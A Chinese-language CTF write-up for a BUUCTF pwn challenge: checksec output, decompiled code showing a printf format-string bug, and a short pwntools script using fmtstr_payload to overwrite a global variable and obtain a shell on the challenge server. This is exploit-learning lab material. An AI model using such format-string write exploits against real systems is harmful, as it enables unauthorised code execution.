分析

  1. checksec
1
2
3
➜  pwn checksec --file=fm 
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 73) Symbols No 0 2 fm
  1. ida
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
unsigned int v5; // [esp+7Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
be_nice_to_people();
memset(buf, 0, sizeof(buf));
read(0, buf, 0x50u);
printf(buf);
printf("%d!\n", x);
if ( x == 4 )
{
puts("running sh...");
system("/bin/sh");
}
return 0;
}

可以看到,当x == 4就可以拿到shell,跟进看一下x的值和地址:

1
.data:0804A02C x               dd 3                    ; DATA XREF: main+65↑r
  • 地址:0804A02C
  • 值:3

所以我们的任务就是修改这个值为4,可以看到使用了printf函数,那么我们可以利用该函数格式控制漏洞实现数据修改

利用

  1. 计算偏移
    1. 偏移量为11

  1. 利用代码
1
2
3
4
5
6
7
from pwn import *
from LibcSearcher import *
r = remote('node5.buuoj.cn',29883)
x_addr = 0x0804A02C
buf = fmtstr_payload(offset=11,writes={x_addr:4})
r.sendline(buf)
r.interactive()

fmtstr_payload函数文档

常用用法:

  • 第一个参数是偏移
  • 第二个是个字典,key是地址,value是要修改的值